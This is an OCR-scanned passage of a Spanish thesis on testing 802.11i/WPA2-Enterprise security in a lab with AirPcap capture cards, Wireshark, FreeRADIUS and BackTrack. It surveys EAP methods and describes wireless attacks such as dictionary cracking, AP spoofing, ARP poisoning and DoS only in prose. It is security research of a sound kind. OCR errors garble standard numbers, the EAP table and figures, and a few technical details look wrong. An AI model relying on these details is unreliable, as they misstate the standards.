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RESUMEN

En los ultimos afos se ha evidenciado el aumento del uso de redes
inaldmbricas debido a las caracteristicas y ventajas que ofrecen sobre las
redes cableadas; entre ellas: la movilidad de los usuarios manteniendo
conectividad constante a la red local, la facilidad de incrementar el tamafio
de la red y la configuracion de diferentes topologias entre ellas el estandar
802.11i.

Mediante la implementacion de un escenario de prueba, se estudia el
estandar 802.71i por medio de la captura de las tramas de Administracion y
Control. Se utiliza un analizador de paquetes como AirPcap Nx o Kismet
para interceptar informacion de la red inalambrica que pueda ser analizada
en Wireshark. Una vez obtenida esta informacion, se realizan ataques éticos
utilizando software especializado como BT5r3 (BackTrack) para simular

problemas en la seguridad como denegacion de servicio (DoS).
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802.11i
KISMET
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ABSTRACT

In recent years there has been an increasing use of wireless networks
because of the characteristics and advantages over wired networks;
including: the mobility of users maintaining constant connectivity to the local
network, allowing great flexibility, easy increase in the size of the network
and the configuration of different topologies to meet the needs that satisfy

connectivity.

Today, wireless networks suffer from certain vulnerabilities that leave
exposed a network intrusions. The [EEE published several encrypted
security mechanism to prevent unauthorized intrusion of external agents
such as WEP and WPA, but they had several shortcomings and despite its
implementation, the networks were still being violated; Thus, the /IEEE began
developing a new safety standard known as 802.77i, which would provide

enough security to WLANSs.

Through the implementation of a test scenario, we aim to analyze the
vulnerabilities in the 802.11i standard. Using the AirPcap Nx adapter cards,
we seek to capture the management and control packets from an AirPcap
session for analysis in Wireshark. Once this information is obtained, ethical
hacking attacks are conduct using specialized software such as BT5r3

(BackTrack) to demonstrate security breach problems under this scheme.



CAPITULO |

FUNDAMENTO TEORICO

1.1. Introduccidén

La implantacion de redes inalambricas se ha vuelto popular en los
ultimos afos, tanto en el ambito personal, como en el corporativo, es asi que
se han utilizado para ampliar la cobertura y suministrar servicios a los
espacios publicos. La expansién de las aplicaciones para redes inalambricas
en dispositivos maoviles, computadoras portatiles, impulsaran la utilizacién de
este tipo de redes y en la mayoria de los casos han reemplazando a las
redes cableadas. Para todo los ambientes en que las redes pueden ser
instaladas, cabe la posibilidad de que los usuarios se conecten a una red
segura e insegura; en la segunda, los usuarios no deseados accedan a la
red mediante la generacién de ataques, pueden violentarla y afectar el

desempenio de la red inalambrica.

Las redes de area local inalambricas pueden ser consideradas mucho
mas alla de ser un sustituto de las redes cableadas, como una extension de
las mismas, ya que por medio de estas redes (inalambricas) se puede tener
acceso a los servicios que se ofrecen en un entorno de red. Existen varias
ventajas que no ofrecen los sistemas cableados: la principal, es ofrecer al
usuario gran movilidad sin perder conectividad; entre otras, la facilidad de

instalacion.

Considerando la proliferacién de redes inalambricas, uno de los temas
mas destacados a considerar es el de la seguridad, cuyo objetivo principal

es aislar los actos deseables, y la prevencion de actos potencialmente
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perjudiciales para la red, de forma que si se producen, hagan el menor
efecto dafino posible. Entre las actividades mas destacadas que se pueden
efectuar para proteger estas redes estan: la identificacion y autenticacion de
usuarios, deteccion de intrusos de la red, analisis de riegos y clasificacion de
datos presentes en la red. Hay que poner mayor énfasis en los factores que
inciden dentro del comportamiento de la red, mediante el estudio de
diferentes escenarios y del planteamiento de soluciones rapidas y efectivas

para asegurar la integridad de los datos y confidencialidad de la red.

1.2. Justificacion

Cada dia se maneja un volumen mayor de informacion digital, a través
de redes de area local inalambricas (WLAN), las compaiias confian cada
vez mas en la tecnologia para brindar seguridad a sus redes, es por eso que
se ha desarrollado tecnologias como: WPA, WPA2 y el estandar 802.11i.
Las mismas definen un protocolo de seguridad inalambrico en respuesta a
serias debilidades descubiertas en previas generaciones de la encriptacion
de Wi-Fi, tal como: es la privacidad equivalente a conexion por cable (WERP).
WPA y WPA2 operan en dos modos: Personal, el cual utiliza PSK;
Enterprise, el cual toma ventaja del servidor RADIUS. Los dos modos de
acceso Wi-Fi protegido, son vulnerables al ataque “Hole196”, incluso la red
mas segura 802.1x con autenticacion y AES. Esta vulnerabilidad permite,
entre otras cosas, a cualquiera con acceso a la red inalambrica, desencriptar
y robar informacion confidencial de cualquier otro cliente que se encuentre
conectado a la misma red, por medio de la inyeccién de trafico malicioso que
compromete los dispositivos autorizados. En la actualidad WPAZ2 es la forma
de encriptacion y autentificacion mas sofisticada y fuerte de todas las
implementadas y estandarizadas, sin embargo, no es perfecta o exenta de

errores en su protocolo como se ha mencionado anteriormente.

Este proyecto es importante, ya que analizara las vulnerabilidades en el

estandar 802.11i. Los principales beneficiarios de esta investigacion serian:



corporaciones,  gobiernos, instituciones  académicas, etc. Los
establecimientos que utilizan este estandar, considerarian estar protegidas
por las medidas internas establecidas por cada una de ellas, asumiendo que
ningun usuario mal intencionado podria vulnerar su red. Es por ello que es
de vital importancia tener presente cuales son las falencias de la seguridad
en esta tecnologia, logrando asi, la preservacion de la confidencialidad de la

informacion en formato digital.

1.3. Objetivos

1.3.1. General

Determinar las vulnerabilidades de una red inalambrica que utiliza el
estandar 802.11i, mediante el analisis del trafico en la capa de enlace, de los

paquetes de Control, Administracién y Datos.

1.3.2. Especificos

. Buscar informacion sobre las caracteristicas y utilidades que ofrecen
las tarjetas AirPcap Nx Adapter para la captura de trafico de la red

inaldmbrica a implementarse en el escenario de prueba.

. Establecer un escenario de prueba para redes inalambricas WiFi
802.11i, con soporte Enterprise y servidor RADIUS, con el fin de obtener
informacion del funcionamiento y desempefio de esta red, en un

comportamiento normal e intrusivo.

. Elaborar un analisis exhaustivo de los campos en las cabeceras de
los paquetes de control, administracion y datos, para poder determinar
cuales contienen informacion valiosa sobre posibles vulnerabilidades dentro
del estandar 802.11i.
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. Evaluar los riesgos en la seguridad del escenario de prueba, que
permitan proponer recomendaciones para disminuir las posibles intrusiones

o ataques, que las redes actuales bajo este estandar puedan ser victimas.

1.4. Redes de area local wireless (WLAN)

1.4.1. Caracteristicas

Es necesario, previo a la determinacién de las caracteristicas de este
protocolo sefalar que el estandar 802.717 cuenta con diferentes
especificaciones, y cada una con sus particularidades propias. El grupo de
especificaciones definidas para el estandar 802.11 fue desarrollado por el
IEEE (Instituto de Ingenieros Eléctricos y Electronicos), con el fin de
establecer comunicacién, entre una estacién inalambrica con un cliente, o, a

su vez entre dos clientes inalambricos.

En la actualidad existen cuatro especificaciones 802.11a, 802.11b,
802.11g, 802.11n, todas ellas utilizan el protocolo Ethernet. La primera
norma aprobada fue 802.11a, trabaja a velocidades maximas de 54 Mbps
dependiendo de la distancia, se propaga en el espectro de los 5 GHz, con
modulacién OFDM, tiene 12 canales no solapados, 8 para red inalambrica, y
4 para conexiones punto a punto; la segunda norma 802.11b se propaga en
el espectro de los 2,4 GHz banda sin licencia, con velocidad maxima de 11
Mbps, con modulacion DSSS, cabe sefnalar que la velocidad en practica ,
considerando las interferencia, disminuirian hasta 5,9 Mbps en TCP y 7,1
Mbps en UDP; la tercera especificacion. 802.11g, que se propaga sobre
frecuencias de 2,4 GHz sin necesidad de licencia, y a cortas distancias con
velocidades maximas de 54 Mbps, integrando dos tipos de modulacién
DSSS, y OFDM, por lo que es compatible con la norma 802.11b; v,
finalmente 802.11n, es el nuevo y revolucionario sistema de redes wireless,
que traen un considerable aumento del ancho de banda disponible:

Estableciendo una comparacion con los estandares antes mencionados en



los cuales se alcanzaba tasas de transferencia de datos de hasta 22 Mbps
(Reales en el mayor de los casos comprobados), las redes que trabajan
sobre el estandar 802.11n, alcanzan un troughput de 120 a 130 Mbps
(Reales), es decir supera las capacidades de las redes de cable Fast-

Ethernet, comunmente utilizados en lugares de trabajo.

1.4.2. Métodos de Autenticacion

Las redes inalambricas siempre se encuentran sujetas a vulnerabilidades
y ataques por el hecho de la emision de sefiales radioeléctricas en el aire, es
asi que durante el paso de tiempo se ha implementado nuevos estandares, y
protocolos para reforzar esta debilidad. Ademas de establecer estandares
como 802.11i que presenta un escenario robusto para la validacion de
usuarios por medio de un servidor, se crearon también métodos de
autenticacion que refuerzan este estandar mediante el cifrado de
informacion necesaria al momento de realizar la autenticacion. Los métodos
EAP han sido desarrollados mejorando cada vez mas la seguridad de la
informacion, y reducir la incidencia de los ataques, pero de igual forma cada
meétodo presenta deficiencias con respecto a las caracteristicas que ofrece,

a continuacién se realiza una corta descripcion de cada uno de ellos.

. EAP-MD5: es uno de los métodos mas conocidos, proporciona un
nivel basico de seguridad, mediante un algoritmo de cifrado, es usado para
la combinacién de un elemento secreto y un desafio hacia el suplicante para
comprobar si el suplicante conoce el elemento secreto. No propone una
autenticacion mutua entre suplicante y autenticador, pese a que no es facil
conseguir un paquete de este tipo, uno capturado puede obtener la
informacion necesaria como obtener el desafio y la respuesta, donde por
medio de un ataque de diccionario pueda coincidir con la identidad del
suplicante con lo que se tendria todas las credenciales para ingresar a la

red.
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. EAP-LEAP: Es un método desarrollado por CISCO para el uso en
dispositivos en el estandar 802.11, este método utiliza una contrasefia para
inicio de sesion como un secreto compartido entre suplicante y autenticador,
es decir ofrece una autenticacion mutua, esta caracteristica no permite
ataques de MITM, ya que se cifran los intercambios de datos con claves
WEP aleatorias, las claves de sesion son exclusivos de los usuarios y no se
comparten entre ellos. Si bien es cierto elimina los ataques de MITM pero
sigue siendo vulnerable a ataques de diccionario por el hecho de utilizar en

MS CHAPV2, para proteger las credenciales del usuario.

. EAP-TLS: El método mas recomendable y atractivo para la
proteccion de una red WLAN, ya que elimina la mayoria de los ataques
conocidos como MITM, ataques de diccionario, ya que no se basa en
intercambio de contrasefas entre el suplicante y autenticador, sino en una
autenticacion muta mediante el intercambio de certificados digitales, también
genera y distribuye claves de cifrado basado en usuarios y sesiones para
establecer las conexiones, es por ello que las credenciales del usuario jamas
son reveladas. En el proceso de intercambio de certificados en donde el
proceso inicia en el que suplicante envia su identidad hacia el autenticador y
este encapsula la identidad y la encapsula en un mensaje RADIUS para que
sea validada por el servidor, de ser correcta el servidor envia un certificado
hacia el autenticador,, quien al recibir el mensaje lo envia hacia el
suplicante, el suplicante valida la informacion del certificado, y envia su
certificado hacia el servidor en donde adjunta la contrasefa secreta, el
autenticador toma el mensaje lo vuelve a encapsular en un mensaje
RADIUS y lo envia hacia el servidor, quien valida la informacion y de ser
correcta responde con un mensaje RADIUS Access-Accept, hacia el
autenticador y a su vez al suplicante para tener accesos a la red. Siendo el
intercambio de certificados su principal caracteristica de seguridad frente a
los ataques y vulnerabilidades, esta a su vez se convierte en su primera
desventaja ya que la distribucion e instalacion de los certificados de los

usuarios se convierte en una tarea dificultosa en redes de media o gran
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escala, por el proceso que debe llevarse, de no ser asi el usuario queda
vulnerable a los ataques antes mencionados, por el hecho de que se estaria
establecido una conexion de otro tipo y ya no EAP-TLS, en los siguiente
capitulos se describira a mayor detalle el funcionamiento de este método

asi, como el proceso de implementacion.

. EAP-TTLS: Considerado una extension de EAP-TLS, donde el
proceso de autenticacion consiste en dos fases. En la primera fase el
autenticador utiliza el certificado para validar al suplicante, la diferencia con
TLS es que solo se requiere el certificado del servidor, posterior a esto se
establece un tunel seguro donde se intercambia informacion para realizar la
autenticacion del usuario por el tunel seguro establecido, para la segunda
fase se debe considerar que EAP-TTLS mantiene el oculto la identidad
anonima del suplicante para establecer el tunel en la primera fase, mas no la
identidad del suplicante para esta fase, en esta fase se permite el uso de
protocolos basado en contrasefas heredadas en base de datos, protegiendo

asi la seguridad de estos protocolos contra ataques de MITM.

. EAP-PEAP: Mantiene el mismo principio que EAP-TLS y EAP-TTLS,
como el intercambio de informacion para autenticacion, envuelta en un tunel
seguro, donde protege de varios ataques, la diferencia con EAP-TTLS, es

que este método solo puede utilizar EAP para la fase dos.

A continuacion se presenta una tabla que resume las caracteristicas de

los métodos antes descritos.



Tabla. 1

Caracteristicas de métodos EAP

EAP-MD5 EAP-LEAP EAP-TLS EAP-TTLS EAP-PEAP
Autenticacion . - Certificado Certificado Certificado
. Ninguna Contrasefia . . .
de servidor publico publico publico
Autentu_:acmn Contrasefia  Contrasena Cer’tlflc.:ado MSCHAP(v2) EAP
de suplicante publico
Generacion
de llave No Si Si Si Si
dinamica
Facilidad de Facil Dificil Dificil Moderado  Moderado
despliegue
Rendimiento .
Bajo Moderado Bueno Bueno Bueno
general

1.4.3. Configuraciones

. Red AD HOC

La Universalizacion, el crecimiento de los dispositivos portatiles y la
difusién de tecnologia por medio de medios inalambricos, han permitido la
creacion y la innovacion de nuevas configuraciones, como son las redes
wireless AD HOC, las mismas que representan una solucion viable, para
aquellos casos en los que no es posible contar con una red que contenga

infraestructura de comunicacion fija.

Las redes AD HOC son un tipo especial de redes, pues no cuentan con
control central ni sin conexion a una red de comunicacion mundial. Este tipo
de redes, las que se les podria considerar como de infraestructura o control,
son aquellas formadas por los nodos que participan en la red, las ventajas
mas llamativas que presenta son: intrinseca facilidad y velocidad de
instalacion por lo que resulta mas versatil, tomando en cuenta que cada
nodo que pertenece a la red creada, tiene la capacidad de un router. La
principal caracteristica es la movilidad de los nodos que se encuentran
conectados mediante un enlace, que a su vez se vuelve inestable,

dependiendo de la seguridad y dispositivos que conforman la red.



Citando un par de aplicaciones en donde se utiliza redes Ad-Hoc son:
Transferencia de datos, archivos, imagenes, convenciones y analisis de

datos en terrenos catastroéficos.

/

/ Nodo Movil

\
\"J — / ‘E — \\
‘K _—— = ’,'

Nodo Mévil Nodo Mévil

\ Nodo Mévil

Figura. 1 Red Ad - Hoc

-\

. Red Infraestructura

El modo infraestructura tiene una gran diferencia con respecto a la
configuracion anterior: las estaciones se conectan a un punto de acceso a
través de un enlace inalambrico, considerando que el sistema tiene una
topologia definida, la movilidad de los equipos no afecta la estabilidad del

enlace.

Todas las configuraciones que se encuentran formadas por el punto de
acceso y las estaciones ubicadas dentro del area de cobertura, forman una
célula, nombrada conjunto de servicios basicos o BSS. Cada célula tiene un
identificador propio BSSID, el cual corresponde a la direccion MAC del punto

de acceso, o de los equipos dentro de la célula.

Este tipo de configuracion de red es la mas usada en la actualidad, y se
puede considerar que funciona como una red tipo cliente-servidor, donde los

clientes suelen ser los ordenadores personales que se conectan al servidor,
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llamado punto de acceso en este caso. Por ende, cuando una estacion
quiere enviar algun tipo de mensaje hacia otra, la envia al punto de acceso,
y este, se encarga de enviarlo hacia la estacion de destino, definiéndose asi
como un sistema completamente centralizado; considerando esta
especialidad una de las principales desventajas, ya que de surgir una caida

del punto de acceso inalambrico provocaria la desconexion total de la red.

Es por esto que se podria definir que la zona de cobertura local es

equivalente a la zona de cobertura que tenga el punto de acceso.

Otra desventaja relevante, puede ser el crecimiento acelerado de las
estaciones hasta un numero critico, cercano al limite de tolerancia del
equipo de acceso, podria causar una disminucion considerable del

rendimiento.

Tomando en cuenta que las redes inalambricas son half-duplex, y dos
elementos de la red no pueden transmitir a la vez, de ésta forma se
economiza el ancho de banda. También es posible establecer conexion
entre puntos de acceso, mediante cable o wireless para aumentar el area
de cobertura de la red, esta topologia resulta ideal para permitir el acceso a

Internet o a una red local a los ordenadores inalambricos existentes.

Estacion Inalambrica

——
B —

Puntq de acceso/(AP)

=

Estacion Inalambrica Estacién Inalambrica

Figura. 2 Red Infraestructura
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1.4.4. Tipos de protocolos 802.11

Las tarjetas AirPcap Nx Adapter utilizadas en el escenario son
compatibles para el monitoreo de redes con los protocolos 802.17a, b, gy n,

los mismos que son descritos a continuacion.

. 802.11a: Lanzada en el afio de 1999, establece el funcionamiento de
redes inalambricas que trabajan sobre la frecuencia de 5 Ghz lo que
favorece al protocolo porque existe menor interferencia, pero a su vez se
presenta como desventaja ya que los equipos que se deseen conectar a la
red estan obligados a estar cerca del AP. Define 12 canales sin
solapamiento, 8 para redes inalambricas y 4 para conexiones punto a punto,
capacidad de manejar velocidades de 6, 9, 12, 18, 24, 36, 48, 54 Mbps,

utiliza modulacion OFDM.

. 802.11b: Lanzada en el afo de 1999, el método de modulacion que
utiliza es el de espectro de difusidon de secuencia directa complementaria y
utiliza la llave de codigo complementario (CCK), dispone de tres canales que
no superponen en industrial, cientifico, médico, alcanza velocidades de
hasta 11 Mbps, y el acceso al medio se da por medio del protocolo
CSMA/CA.

. 802.11g: Lanzada en el afo 2003, utiliza modulaciones DSSS,
OFDM, opera en el rango de frecuencia de 2.4 GHz, con velocidades de
hasta 54 Mbps, compatible con 802.11b, por trabajar en el mismo rango de
frecuencias existen problemas de solapamiento de canales en las dos
tecnologias por lo que se necesito mayor regulacién para no provocar
interferencias. Llego a proliferar el mercado debido a la compatibilidad que

presentaba con otros estandares.

. 802.11n: Presenta una notable mejora en comparacion a los

estandares anteriores, considerando que ofrece tasas teoricas de
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transferencia de hasta 600 Mbps, pero en el mercado solo se conocen
dispositivos que alcancen velocidades de hasta 300 Mbps. Ademas pese a
ser basado en estandares anteriores incorpora el estandar MIMO (Multiple
Inputs, Multiple Outputs), el que permite la utilizacion de mas de un canal
para transmisién y recepcion a la vez. Ofrece la particularidad de utilizar
Channel Bounding la cual permite ampliar el canal de 30 Mhz a 40 Mhz, por
lo que amplia el ancho de banda e incrementa y permite mayor transmision

de datos.

1.4.5. Beneficios

Las redes LAN inalambricas presentan varias ventajas sobre las redes
LAN convencionales, siendo una de las mas importantes la movilidad, que
ofrece a las estaciones conectadas, la facilidad de poder desplazarse de un
lado a otro dentro del area de cobertura, sin perder la conexion a la red,
estos beneficios son evidentes para clientes que disponen de computadoras
portatiles, dispositivos méviles, PDA, smartphones, ya que permite utilizar

los recursos de la red sin estar atado a la restriccion de los cables.

Se pueden detallar varios beneficios, de los cuales la planificacion para
la implantacion para una red cableada es primordial, ya que se debe definir
espacios para equipos, rutas de cable, a diferencia de las redes wireless
cuya planificacion estaria enfocada a la ubicacion de las estaciones dentro
del area de cobertura del punto de acceso, las dimensiones del mismo son
reducidas, en comparacion a los equipos de redes LAN. La tecnologia
wireless permite a una red alcanzar lugares donde los cables no llegan, o
donde el coste de los mismos es muy alto. Por ejemplo, en espacios abiertos
como jardines o piscinas, o para establecer comunicacion entre oficinas
ubicadas en edificios préximos, considerando la escalabilidad; las redes
WLAN permiten ser configurados en distintas topologias que permiten
adaptarse a las necesidades de cada situacion, las configuraciones de los

dispositivos WLAN pueden ir desde pequefias redes con un numero



13

reducido de usuarios, a grades infraestructuras con miles de usuarios con

areas de cobertura mayores, como campus universitarios o fabricas.

1.5.  WIFI: 802.11i

1.5.1. Funcionamiento del protocolo

La rapida propagacion de las redes inalambricas basadas en los
estandares 802.117 proporciona un nivel adicional de complejidad al
problema de la seguridad de redes. Aunque los estandares incorporan
ciertas funciones de seguridad, afadiendo diferentes mecanismos de
proteccion, las redes inalambricas representan un punto extremadamente
vulnerable en la seguridad de una red. Considerando que la principal
vulnerabilidad de una red inalambrica es el hecho de que cualquier persona
puede acceder a los datos que transitan por la red, debido a que utilizan un
medio inseguro para sus comunicaciones, y que no existe ningun medio
fisico que imposibilite el acceso, se podria obtener de forma sencilla las
tramas que circulan de forma publica en la red de area local inalambrica
(WLAN), estas podrian ser utilizadas para obtener informacion que vulneren

la seguridad de dicha red.

Para solventar las necesidades de seguridad de las redes inalambricas
se cre0 el estandar 802.11i el cual presenta una mejora importante con
respecto a los estandares predecesores de seguridad, es asi que para
solucionar las diferentes falencias que presentaban estos estandares. La
norma 802.711i, contiene una norma estandar de encriptacion avanzada
(AES), que soporta claves de 128, 192 y 256 bits. La AES es una forma de
codificacion mas desarrollada que se encuentra en la actual especificacion
de acceso protegido para redes inalambricas. En principio garantiza que la
informacion de las tramas que es enviada por estas redes esté encriptado y
no pueda ser dafiada por alguien que la intercepte, 802.77i, introduce el

llamado protocolo de red segura robusta (RSN) para establecer una
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comunicacion segura. A su vez implementa un protocolo extensible de
autenticacion (EAP). Este estandar tiene dos modos de funcionamiento en
los que puede trabajar: el primero, es WPA2 Enterprise basado en el
protocolo 802.1x, que utiliza tres elementos que son: suplicante,
autenticador y servidor de autenticacion, en donde tanto el servidor de
autenticacion como el suplicante generan dos claves aleatorias denominada
llave maestra por parejas (PMK) durante la fase de autorizacion y
autenticacion de 802.1x. Una vez finalizada la fase de autenticacion, el
servidor de autenticacién y el cliente tienen PMK idénticas, pero el punto de
acceso (AP) no, por lo tanto, a través del uso del discado de autenticaciéon
remota de usuarios en el servidor (RADIUS), copia la clave del servidor de
autenticacion al AP. El protocolo no especifica el método de envio de la
clave entre ambos dispositivos llegados hasta este punto, aun no se permite
la comunicacidn si no que deben generar nuevas claves, en funcion de la
PMK, para ser usadas en relacion al cifrado y a la integridad, formando un
grupo de cuatro claves, llamado clave transitorio por parejas (PTK) con una
longitud de 512 bits. Para asegurar el trafico broadcast, se crea claves de
grupos de 256 bits llamado grupo de clave maestra (GMK) usado para crear
la llave de encriptacion del grupo (GEK) y la llave de integridad del grupo
(GIK) de 128 bits de longitud cada una. Las cuatro claves forman la llave del
grupo transitorio (GTK). La ultima parte es demostrar que el AP tiene PMK
idéntico, para ello lo valida el servidor de autenticacion. Este proceso se
realiza cada vez que es asociado un cliente con un AP. El segundo modo de
operacion, es WPA2 con una llave pre-compartida (PSK), pensado para
entornos personales, el mismo que evita el uso de dispositivos externos de

autenticacion.

1.5.2. Ataques al protocolo

Conociendo todo el proceso o modo de funcionamiento que realiza el

estandar y el intercambio de numeros aleatorios que se llevan a cabo entre

un cliente y el AP para la autenticacidn y asociacion, un atacante que quiera
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vulnerar una red WPA2-PSK, va a tratar de capturar ese intercambio de
numeros, para que una vez conocidos estos, junto con el identificador de
establecimiento de servicio (SSID), las direcciones de control de acceso al
medio (MAC) del cliente y el AP de la red, pueda obtener la frase o secreto
compartido que se utiliz6. Una vez que el atacante tenga la clave

compartida, se podra conectar a la red.

Existen diferentes tipos de ataques para las redes inalambricas,
principalmente relacionados con la capa de enlace, de las cuales se citan los
mas importantes: AP spoofing llamado también asociacion maliciosa, en
este ataque el intruso se hace pasar por un punto de acceso, engafa al
cliente y hace parecer que se esta conectado a una red WLAN verdadera;
envenenamiento del protocolo de resolucion de direcciones (ARP poisoning)
u hombre en el medio (MITM), es un ataque en el que se supervisa una
comunicacion entre dos partes vy falsifica la informacion para hacerse pasar
por una de ellas; WLAN scanners, llamado también ataque de vigilancia,
consiste en recorrer un area donde se desea realizar una intrusidn para
descubrir redes WLAN activas, para realizar ataques y una posterior
adquisicién de informacion; denegacion de servicios (DoS), siendo este uno
de los mas importantes ataques, su objetivo principal es el de paralizar o
desactivar una WLAN, es decir es un ataque realizado sobre Ila

disponibilidad de la red.

Con el transcurso del tiempo se han creado diferentes herramientas para
poder vulnerar la seguridad de las redes, para diagnosticar, evitar y
contrarrestar estos ataques, es imprescindible monitorear las conexiones
inalambricas y detectar posibles ataques, es por esto que en definitiva,
quizas la mejores herramienta con las que se puede contar para prevenir
cualquier amenaza informatica, es la de monitorizacion constante de equipos

y sistemas.
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Pese a las caracteristicas especiales del estandar 802.117i, que pretende
proteger al maximo a la red, nVidia ha creado CUDA, el cual permite la
posibilidad de romper mediante la fuerza bruta las claves que se usan en
conexiones inalambricas con encriptacion WPA2. A pesar de que WPA2 es
la forma de encriptacion y autentificacion mas segura que se utilizadas hoy
en dia, fue descubierto en el 2010 una vulnerabilidad que Illamaron
“‘Hole196”, que se suma a la ya descrita anteriormente, para vulnerar la

informacion confidencial a través de la red inalambrica

La eventualidad de que se produzca el ataque, es un punto de maximo
interés para las empresas, principalmente con los ataques de negacién de
servicio, ya que estos afecta directamente al desempefio de la red y deja al

entorno de red sin servicios.

1.6. Tarjetas AirPcap Nx Adapter

1.6.1. Caracteristicas

La evaluacion de la seguridad en una red inalambrica puede resultar
desafiante si no se cuenta con las herramientas necesarias que, ademas,
entiendan el lenguaje de las ondas de radio para facilitar su estudio, con
esto se pretende obtener informacidén de los protocolos inalambricos y asi
realizar el analisis correspondiente dentro del escenario de prueba

planteado.

Las tarjetas AirPcap Nx Adapter fueron escogidas para este proyecto
debido a que cuentan con especificaciones que permiten el monitoreo de
trafico de la capa de enlace en redes inalambricas 802.11i con pérdida de

paquetes minima. Estas caracteristicas se explican a continuacion:

Los adaptadores Nx son facilmente instalados para funcionar en

ambientes virtuales como VMWare, Sistemas operativos como: Windows,



17

Macintosh o Linux. Esto permite flexibilidad para el estudio en cualquier

ambiente.

La tecnologia de red inaldmbrica que permite establecer la conexion y
que puede ser monitoreada por las tarjetas Nx abarcan el estandar IEEE
802.11 a/b/g/n, el cual es un set de especificaciones de control de acceso al
medio (MAC) y la capa fisica (PHY) que permite que uno o mas dispositivos

usando un método de distribucion inalambrica se conecten a una red WLAN.

Las frecuencias de operacion de las tarjetas cubren el espectro de los
2.412 — 2.484 GHz (b/g/n) y 4.920 — 5.825 GHz (a/n) con esto se logra cubrir
todos los canales dentro de cada banda que aportan informacién relevante

para el escenario de prueba dentro del estandar 802.71i.

Entre los esquemas de modulacion que las tarjetas cobijan para redes
inalambricas se tiene; CCK (Complementary Code Keying) que es empleada
en las especificaciones del IEEE 802.11b, OFDM (Orthogonal Frequency-
Division Multiplexing) utilizada en el IEEE 802.11a, HT-OFDM para IEEE
802.11a/g/n y MCS 0-15 (Modulation and Coding Scheme) mandatorio para

estandares 802.11n.

Cuenta con dos antenas incorporadas, adicional tiene conectores MC-
Card integrados para antenas externas opcionales, esto permite extender el
radio de cobertura del adaptador Nx mejorando el rendimiento en los

entornos mas exigentes.

Este quipo, permite descifrar los algoritmos de seguridad WEP, WPA
PSK, WPA2 PSK en populares herramientas de analisis como: Wireshark al
capturar paquetes de la red WLAN, Kismet para descubrir las redes
disponibles dentro del radio de cobertura, Aircrack-ng o Cain y Abel para
vulnerar las redes con el objetivo de encontrar y resolver problemas de

seguridad; analisis de paquetes, uso del ancho de banda en el canal,
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transmision de errores, fallas en la asociacion y autenticacion de acceso en
AP’s (Access Point), descubrir aplicaciones sin cifrar e investigaciones de

baja taza de trasmision.

La velocidad de transmision de datos es de 54 Mbps para 802.11a/b/g,
130 Mbps en canales de 20 MHz y 300 Mbps en canales de 40 MHz para
802.11n. Cabe mencionar que permite un rendimiento de captura superior
con un minimo de pérdidas de paquetes, especialmente al capturar multiples

canales en redes 802.11n.
Facil configuracién y flexibilidad sin requerir asociacion con el AP.
Las tarjetas AirPcap Nx son versatiles y portables con forma vy

dimensiones similares a un pendrive compatible con puertos USB 2.0 Tipo A
y UBS 1.1.

AirPcap

802.11 Wireless Packet Capture

Figura. 3 Kit de tarjeta AirPcap Nx

Las tarjetas AirPcap Nx tienen un Chipset (Atheros AR9170) y Driver
(carl9170), totalmente compatible con BT5r3 y Wireshark.

1.6.2. Funcionamiento de las tarjetas AirPcap Nx Adapter

AirPcap es un adaptador que capta la totalidad o un conjunto filtrado de

tramas WLAN y entrega los datos a la plataforma de Wireshark para su



19

analisis. Una vez AirPcap esta instalado, Wireshark muestra una barra de
herramientas especial que proporciona el control directo del adaptador

AirPcap durante la captura de datos inalambrica.

AirPcap es también el nombre de una familia de productos que incluye
AirPcap Classic, AirPcap Tx, AirPcap Ex y AirPcap N. Esta familia de
productos representa la primera abierta, asequible y facil de implementar
soluciones de captura de paquetes 802.1717 WLAN para la plataforma de
Windows, OSX y Linux. Los diferentes miembros de la familia AirPcap +
Wireshark proporcionan informacion acerca de los protocolos inalambricos y
sefales de radio, lo que le permite capturar y analizar el trafico inalambrico
802.11a/b/g/n de bajo nivel, incluyendo los marcos de control, marcos de

gestion, y la informacién de potencia.

1.6.3. AirPcap Nx y Wireshark

AirPcap es un adaptador especial para el analisis de trafico de red
inalambrica. Con AirPcap Nx se pueden escanear multiples canales en
paralelo para el analisis de datos y solucion de problemas de redes
inalambricas. Sin embargo, el alcance de estas herramientas se limita en el
analisis de WLAN si no se cuenta con el adaptador AirPcap Nx. Es por esto
que AirPcap proporciona una solucion de hardware para la captura de

paquetes inalambricos plenamente integrado en el software Wireshark.

El adaptador USB AirPcap Nx es compatible con 802.11a/b/g/n, y es
adecuado tanto para la captura de paquetes como para la inyeccién de
paquete. Para pruebas de carga, una antena interna y dos conectores MC
para antenas externas y optimizar la deteccion del trafico 802.11 esto con la
finalidad de capturar los paquetes utilizando Wireshark mediante el
controlador de captura WinPcap. Este se comunica con el adaptador de red

LAN / WLAN y se ejecuta en "modo promiscuo" capturando los paquetes de
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datos, de gestion y control para llevar a cabo el analisis de los datos

procedentes de una sesion de captura AirPcap.
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CAPITULO Il

DISENO E IMPLEMENTACION DEL ESCENARIO DE

PRUEBA

21 Diseino del escenario

El siguiente capitulo describe la implementacion de un escenario de
prueba, junto con todos los materiales y métodos necesarios para desarrollar
las diferentes pruebas y ataques generados por BTS, esto con el fin de
determinar las vulnerabilidades por medio del analisis en Wireshark de las
tramas o paquetes capturados por medio de las tarjetas AirPcap Nx entre el

AP, los usuarios y el servidor.
21.1 El escenario 802.11i

El grupo IEEE 802.11i especifica 802.1x para la autenticacion de
usuarios. 802.7x es un marco de estandares abiertos para autenticar las
estaciones inalambricas conocidos como suplicantes (supplicants) con un
servidor de autenticacion en la red cableada mediante un punto de acceso
inaldambrico  llamado autenticador (authenticator). El servidor de
autenticacion conocido como RADIUS (Remote Authentication Dial-In User
Service) mantiene registros detallados de los usuarios para limitar el acceso
a la red de los no autorizados. Estos tres elementos conforman el escenario

fisico de este entandar.

En la figura que se muestra a continuacion, se puede identificar estos
tres dispositivos. Los suplicantes: MacBook Air, iPhone 5s, LG, Asus e iPad;

el autenticador: APy finalmente el servidor de autenticacion: FreeRADIUS.
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192.168.1.0/24

iPad/ios AR (Reaiyop
Suplicante ESSID: tesisT4
Autenticador

Freeradius/Ubuntu Server

Servidor de autenticacion /
RADIUS

SHARED SECRET
EAP-TLS

CERTIFICATES

Figura. 4 Escenario 802.11i

2.1.2 Presentacion de la topologia del escenario de prueba

A continuacion se presenta un arreglo de topologia con configuraciones

especificas para la evaluacion y analisis de los escenarios de prueba en

comportamiento normal e intrusivo.

MacBook AirfOSX
MAC: 00:8865:3B:CA:DO

x\\ G

\iPhone 5s/i0S
MAC; 84:8E.00:79:8E:35

Freeradius/Ubuntu Server

